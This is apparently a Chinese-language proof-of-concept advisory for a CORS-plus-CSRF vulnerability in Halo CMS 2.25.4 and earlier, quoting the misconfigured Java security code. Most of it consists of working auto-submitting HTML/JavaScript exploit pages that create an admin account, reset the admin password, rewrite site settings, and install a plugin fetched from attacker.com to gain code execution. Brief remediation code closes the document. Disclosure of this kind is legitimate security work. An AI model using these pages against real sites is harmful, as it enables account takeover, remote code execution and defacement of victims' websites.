
概念验证,演示了 Halo CMS 中 CORS 配置错误与 CSRF 防护绕过相结合的问题,可利用跨站请求伪造攻击创建管理员用户、更改密码、安装插件以及修改内容。
Halo CMS 2.25.4 及更早版本中存在一个严重的组合攻击漏洞,源于两个安全配置错误:
*(任意来源)并设置 credentials: true/api/**、/apis/**)均被排除在 CSRF 防护之外当两者结合时,攻击者可以从任意来源发起跨站请求伪造攻击,绕过 CORS 本应强制执行的同源策略防护。
CVSS v3.1 评分: 9.3(严重)
CVSS 向量: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
CWE: CWE-352(跨站请求伪造)+ CWE-942(宽松的跨域策略)
CVE ID: CVE-2026-67921
文件: application/src/main/java/run/halo/app/security/CorsConfigurer.java
CorsConfigurationSource apiCorsConfigSource() {
var configuration = new CorsConfiguration();
configuration.setAllowedOriginPatterns(List.of("*")); // ← 任意来源
configuration.setAllowCredentials(true); // ← 允许携带 Cookie
configuration.setAllowedHeaders(List.of(
HttpHeaders.AUTHORIZATION,
HttpHeaders.CONTENT_TYPE,
HttpHeaders.ACCEPT,
"X-XSRF-TOKEN",
HttpHeaders.COOKIE));
configuration.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE", "PATCH"));
source.registerCorsConfiguration("/api/**", configuration);
source.registerCorsConfiguration("/apis/**", configuration);
return source;
}
影响: 任何网站都可以使用用户的 Cookie 向 Halo 的 API 发起经过身份验证的请求。
文件: application/src/main/java/run/halo/app/security/CsrfConfigurer.java
@Override
public void configure(ServerHttpSecurity http) {
var csrfMatcher = new AndServerWebExchangeMatcher(
CsrfWebFilter.DEFAULT_CSRF_MATCHER,
new NegatedServerWebExchangeMatcher(
pathMatchers("/api/**", "/apis/**", "/actuator/**", "/system/setup")),
// ← API 路由被排除在 CSRF 之外!
new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));
http.csrf(csrfSpec -> csrfSpec.csrfTokenRepository(new CookieServerCsrfTokenRepository())
.requireCsrfProtectionMatcher(csrfMatcher));
}
影响: API 请求不需要 CSRF 令牌,即使通过会话 Cookie 进行身份验证也是如此。
| 防护措施 | 单独存在 | 组合存在 |
|---|---|---|
CORS * | 阻止携带凭据(浏览器强制) | 允许携带凭据! |
| 无 CSRF | 受同源策略保护 | 被 CORS 绕过! |
| 结果 | 安全 | 完全 CSRF 攻击 |
┌─────────────────────────────────────────────────────────────┐
│ 攻击者在 evil.com 上托管恶意页面 │
│ <form action="http://halo:8090/apis/..." method="POST"> │
│ <input name="..." value="..."> │
│ </form> │
│ <script>document.forms[0].submit()</script> │
└─────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────┐
│ 受害者的浏览器访问 evil.com │
│ → 表单自动提交至 Halo API │
│ → 浏览器自动携带会话 Cookie │
│ → CORS:Origin * + credentials: true → 请求被允许! │
│ → CSRF:/apis/** 被排除 → 无需令牌! │
│ → 请求以受害者的权限成功执行 │
└─────────────────────────────────────────────────────────────┘
<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users" method="POST">
<input type="hidden" name="apiVersion" value="v1alpha1"/>
<input type="hidden" name="kind" value="User"/>
<input type="hidden" name="metadata.name" value="hacker"/>
<input type="hidden" name="spec.password" value="hacker123"/>
<input type="hidden" name="spec.displayName" value="Hacker"/>
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>
<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password" method="PUT">
<input type="hidden" name="password" value="newpassword123"/>
</form>
<script>
var xhr = new XMLHttpRequest();
xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;
xhr.send(JSON.stringify({password: 'newpassword123'}));
</script>
</body>
</html>
<html>
<body>
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;
xhr.send(JSON.stringify({uri: 'http://attacker.com/malicious-plugin.jar'}));
</script>
</body>
</html>
<html>
<body>
<script>
// 修改站点标题
var xhr = new XMLHttpRequest();
xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;
xhr.send(JSON.stringify({site: {title: 'Hacked by Attacker'}}));
</script>
</body>
</html>
创建 csrf-test.html:
<!DOCTYPE html>
<html>
<head><title>Halo CSRF PoC</title></head>
<body>
<h1>Halo CORS+CSRF 攻击 PoC</h1>
<p>此页面加载时将尝试修改 Halo 设置。</p>
<script>
// 通过修改站点标题测试 CSRF
var xhr = new XMLHttpRequest();
xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;
xhr.onload = function() {
if (xhr.status === 200 || xhr.status === 204) {
document.body.innerHTML += '<p style="color:green">成功!CSRF 攻击已生效。</p>';
} else {
document.body.innerHTML += '<p style="color:red">失败:' + xhr.status + '</p>';
}
};
xhr.send(JSON.stringify({
"site": {
"title": "CSRF 攻击成功 - " + new Date().toISOString()
}
}));
</script>
</body>
</html>
csrf-test.htmlAccess-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
| 攻击方式 | 影响 | 严重程度 |
|---|---|---|
| 创建管理员用户 | 系统完全沦陷 | 严重 |
| 修改管理员密码 | 账户接管 | 严重 |
| 安装恶意插件 | 远程代码执行 | 严重 |
| 修改内容 | 网站篡改 | 高 |
| 删除数据 | 数据丢失 | 高 |
| 窃取数据 | 信息泄露 | 高 |
// 将通配符替换为特定来源
configuration.setAllowedOriginPatterns(List.of(
"https://yourdomain.com",
"https://admin.yourdomain.com"
));
// 从 CSRF 匹配器中移除 API 排除项
var csrfMatcher = new AndServerWebExchangeMatcher(
CsrfWebFilter.DEFAULT_CSRF_MATCHER,
new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));
对于 API 端点,建议优先使用 Bearer 令牌认证而非会话 Cookie,因为前者不受 CSRF 攻击影响。